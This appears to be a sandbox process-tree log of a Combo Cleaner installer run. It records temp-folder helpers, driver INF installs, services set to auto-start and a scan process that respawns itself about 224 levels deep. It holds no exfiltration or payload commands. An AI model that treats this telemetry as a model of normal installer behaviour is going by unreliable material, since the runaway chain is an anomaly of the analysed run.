      C:\Users\Admin\AppData\Local\Temp\{84AB8AFB-2F8F-4C65-BDFC-85E17643927E}\ISBEW64.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{FC1C830C-511A-484B-AA97-4A03803725C9}
      4⤵
      PID:4476
  - - C:\Users\Admin\AppData\Local\Temp\{84AB8AFB-2F8F-4C65-BDFC-85E17643927E}\ISBEW64.exe
      C:\Users\Admin\AppData\Local\Temp\{84AB8AFB-2F8F-4C65-BDFC-85E17643927E}\ISBEW64.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{CB9B2F06-42D7-450F-9A5E-17030723A069}
      4⤵
      PID:4508
  - - C:\Windows\SysWOW64\CMD.EXE
      CMD.EXE /C driverquery /v >C:\Users\Admin\AppData\Local\Temp\drivers.txt
      4⤵
      PID:4552
    - - C:\Windows\SysWOW64\driverquery.exe
        
        driverquery /v
        5⤵
        
        PID:4576
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" setupapi,InstallHinfSection DefaultInstall 132 ./gzflt.inf
      4⤵
      PID:4336
    - - C:\Windows\system32\runonce.exe
        
        "C:\Windows\system32\runonce.exe" -r
        5⤵
        
        PID:4372
      - C:\Windows\System32\grpconv.exe
        
        "C:\Windows\System32\grpconv.exe" -o
        6⤵
        
        PID:4440
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" syssetup, SetupInfObjectInstallAction DefaultInstall 128 ./bddci.inf
      4⤵
      PID:4452
    - - C:\Windows\system32\runonce.exe
        
        "C:\Windows\system32\runonce.exe" -r
        5⤵
        
        PID:4488
      - C:\Windows\System32\grpconv.exe
        
        "C:\Windows\System32\grpconv.exe" -o
        6⤵
        
        PID:4548
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" syssetup,SetupInfObjectInstallAction DefaultInstall 132 ./trufos.inf
      4⤵
      PID:4528
    - - C:\Windows\system32\runonce.exe
        
        "C:\Windows\system32\runonce.exe" -r
        5⤵
        
        PID:4660
      - C:\Windows\System32\grpconv.exe
        
        "C:\Windows\System32\grpconv.exe" -o
        6⤵
        
        PID:4592
  - - C:\Windows\SysWOW64\sc.exe
      "C:\Windows\SysWOW64\sc.exe" config ComboCleaner.WinService start=auto
      4⤵
      Launches sc.exe
      PID:4572
  - - C:\Windows\SysWOW64\sc.exe
      "C:\Windows\SysWOW64\sc.exe" config ComboCleaner.Guard start=auto
      4⤵
      Launches sc.exe
      PID:4668
  - - C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
      "C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe" -startScan
      4⤵
      PID:2548
    - - C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        5⤵
        
        PID:1232
      - C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        6⤵
        
        PID:3372
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        7⤵
        
        PID:3936
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        8⤵
        
        PID:1632
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        9⤵
        
        PID:4296
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        10⤵
        
        PID:5112
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        11⤵
        
        PID:1020
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        12⤵
        
        PID:4696
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        13⤵
        
        PID:4920
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        14⤵
        
        PID:5088
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        15⤵
        
        PID:3300
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        16⤵
        
        PID:2880
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        17⤵
        
        PID:2772
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        18⤵
        
        PID:4200
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        19⤵
        
        PID:4704
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        20⤵
        
        PID:1032
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        21⤵
        
        PID:2628
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        22⤵
        
        PID:4204
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        23⤵
        
        PID:4512
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        24⤵
        
        PID:4692
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        25⤵
        
        PID:3660
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        26⤵
        
        PID:1608
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        27⤵
        
        PID:4768
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        28⤵
        
        PID:2240
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        29⤵
        
        PID:2556
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        30⤵
        
        PID:4080
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        31⤵
        
        PID:3844
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        32⤵
        
        PID:1612
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        33⤵
        
        PID:3964
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        34⤵
        
        PID:1188
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        35⤵
        
        PID:4376
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        36⤵
        
        PID:3480
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        37⤵
        
        PID:2536
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        38⤵
        
        PID:4468
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        39⤵
        
        PID:772
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        40⤵
        
        PID:2192
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        41⤵
        
        PID:4848
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        42⤵
        
        PID:2624
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        43⤵
        
        PID:4540
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        44⤵
        
        PID:5016
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        45⤵
        
        PID:288
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        46⤵
        
        PID:4548
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        47⤵
        
        PID:3012
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        48⤵
        
        PID:4020
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        49⤵
        
        PID:3408
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        50⤵
        
        PID:1900
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        51⤵
        
        PID:4460
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        52⤵
        
        PID:2560
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        53⤵
        
        PID:4500
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        54⤵
        
        PID:1480
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        55⤵
        
        PID:5060
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        56⤵
        
        PID:1220
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        57⤵
        
        PID:2584
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        58⤵
        
        PID:3132
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        59⤵
        
        PID:3172
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        60⤵
        
        PID:4924
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        61⤵
        
        PID:4724
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        62⤵
        
        PID:3112
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        63⤵
        
        PID:4060
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        64⤵
        
        PID:1292
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        65⤵
        
        PID:3472
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        66⤵
        
        PID:4268
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        67⤵
        
        PID:3196
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        68⤵
        
        PID:4220
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        69⤵
        
        PID:2552
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        70⤵
        
        PID:5020
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        71⤵
        
        PID:3296
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        72⤵
        
        PID:4132
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        73⤵
        
        PID:1704
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        74⤵
        
        PID:3520
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        75⤵
        
        PID:4228
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        76⤵
        
        PID:3760
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        77⤵
        
        PID:4352
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        78⤵
        
        PID:3284
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        79⤵
        
        PID:2804
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        80⤵
        
        PID:4384
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        81⤵
        
        PID:4028
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        82⤵
        
        PID:1408
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        83⤵
        
        PID:3452
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        84⤵
        
        PID:2572
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        85⤵
        
        PID:2312
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        86⤵
        
        PID:4232
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        87⤵
        
        PID:4940
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        88⤵
        
        PID:904
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        89⤵
        
        PID:4504
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        90⤵
        
        PID:1600
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        91⤵
        
        PID:2824
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        92⤵
        
        PID:3332
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        93⤵
        
        PID:4184
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        94⤵
        
        PID:4888
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        95⤵
        
        PID:4912
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        96⤵
        
        PID:1844
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        97⤵
        
        PID:4120
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        98⤵
        
        PID:2432
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        99⤵
        
        PID:3856
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        100⤵
        
        PID:4976
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        101⤵
        
        PID:4344
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        102⤵
        
        PID:2604
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        103⤵
        
        PID:3220
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        104⤵
        
        PID:484
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        105⤵
        
        PID:4256
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        106⤵
        
        PID:4596
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        107⤵
        
        PID:2488
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        108⤵
        
        PID:4280
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        109⤵
        
        PID:940
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        110⤵
        
        PID:1432
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        111⤵
        
        PID:3920
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        112⤵
        
        PID:2932
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        113⤵
        
        PID:4860
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        114⤵
        
        PID:4772
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        115⤵
        
        PID:3108
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        116⤵
        
        PID:3668
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        117⤵
        
        PID:1664
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        118⤵
        
        PID:1700
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        119⤵
        
        PID:4036
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        120⤵
        
        PID:944
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        121⤵
        
        PID:300
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        122⤵
        
        PID:3804
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        123⤵
        
        PID:4640
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        124⤵
        
        PID:2904
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        125⤵
        
        PID:3184
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        126⤵
        
        PID:1492
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        127⤵
        
        PID:1728
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        128⤵
        
        PID:3376
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        129⤵
        
        PID:4408
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        130⤵
        
        PID:4880
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        131⤵
        
        PID:3088
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        132⤵
        
        PID:1280
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        133⤵
        
        PID:3960
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        134⤵
        
        PID:3364
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        135⤵
        
        PID:1248
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        136⤵
        
        PID:2424
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        137⤵
        
        PID:3900
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        138⤵
        
        PID:4740
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        139⤵
        
        PID:2524
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        140⤵
        
        PID:4236
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        141⤵
        
        PID:3052
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        142⤵
        
        PID:3908
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        143⤵
        
        PID:3796
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        144⤵
        
        PID:3468
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        145⤵
        
        PID:2712
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        146⤵
        
        PID:4332
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        147⤵
        
        PID:3208
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        148⤵
        
        PID:4196
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        149⤵
        
        PID:4456
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        150⤵
        
        PID:764
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        151⤵
        
        PID:924
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        152⤵
        
        PID:1540
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        153⤵
        
        PID:1916
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        154⤵
        
        PID:2988
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        155⤵
        
        PID:1880
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        156⤵
        
        PID:4380
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        157⤵
        
        PID:4508
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        158⤵
        
        PID:4400
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        159⤵
        
        PID:3548
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        160⤵
        
        PID:4588
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        161⤵
        
        PID:4136
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        162⤵
        
        PID:2720
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        163⤵
        
        PID:1908
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        164⤵
        
        PID:2484
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        165⤵
        
        PID:1396
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        166⤵
        
        PID:3912
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        167⤵
        
        PID:2708
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        168⤵
        
        PID:5056
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        169⤵
        
        PID:3036
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        170⤵
        
        PID:3640
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        171⤵
        
        PID:6060
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        172⤵
        
        PID:5748
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        173⤵
        
        PID:3620
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        174⤵
        
        PID:5000
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        175⤵
        
        PID:6100
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        176⤵
        
        PID:900
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        177⤵
        
        PID:5960
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        178⤵
        
        PID:3756
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        179⤵
        
        PID:5540
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        180⤵
        
        PID:5780
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        181⤵
        
        PID:2676
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        182⤵
        
        PID:5848
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        183⤵
        
        PID:6116
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        184⤵
        
        PID:3216
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        185⤵
        
        PID:5260
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        186⤵
        
        PID:5440
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        187⤵
        
        PID:2396
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        188⤵
        
        PID:5524
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        189⤵
        
        PID:4668
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        190⤵
        
        PID:4728
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        191⤵
        
        PID:5908
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        192⤵
        
        PID:620
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        193⤵
        
        PID:5448
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        194⤵
        
        PID:5488
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        195⤵
        
        PID:6084
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        196⤵
        
        PID:6132
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        197⤵
        
        PID:5496
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        198⤵
        
        PID:5572
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        199⤵
        
        PID:3212
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        200⤵
        
        PID:5552
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        201⤵
        
        PID:2172
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        202⤵
        
        PID:6040
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        203⤵
        
        PID:5476
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        204⤵
        
        PID:5280
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        205⤵
        
        PID:2408
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        206⤵
        
        PID:5996
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        207⤵
        
        PID:5188
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        208⤵
        
        PID:5592
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        209⤵
        
        PID:4684
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        210⤵
        
        PID:3312
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        211⤵
        
        PID:5204
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        212⤵
        
        PID:1192
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        213⤵
        
        PID:5600
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        214⤵
        
        PID:2272
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        215⤵
        
        PID:5692
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        216⤵
        
        PID:6108
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        217⤵
        
        PID:5432
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        218⤵
        
        PID:5740
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        219⤵
        
        PID:5700
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        220⤵
        
        PID:6048
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        221⤵
        
        PID:6120
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        222⤵
        
        PID:6028
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        223⤵
        
        PID:5796
        
        C:\Program Files (x86)\Combo Cleaner\ComboCleaner.exe
        
        -startScan
        224⤵
        
        PID:5988
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c rmdir /s /q "C:\Users\Admin\AppData\Local\Temp\{DC2BEA56-E631-49D7-A1C8-32C95170C4A1}"
      4⤵
      PID:572
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --mojo-platform-channel-handle=2612 --field-trial-handle=1304,i,13765862729648042200,16180135408272552283,131072 /prefetch:1
  2⤵
  PID:3260
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --mojo-platform-channel-handle=2444 --field-trial-handle=1304,i,13765862729648042200,16180135408272552283,131072 /prefetch:1
  2⤵
  PID:2224

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:2940

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:3508
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 89340086155FB271DCD09691FCBF22A8 C
  2⤵
  PID:3416
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 5C632E548D8EDF7DC0A75EAD32A499D0
  2⤵
  PID:2124

C:\Program Files (x86)\Combo Cleaner\ComboCleaner.WinService.exe
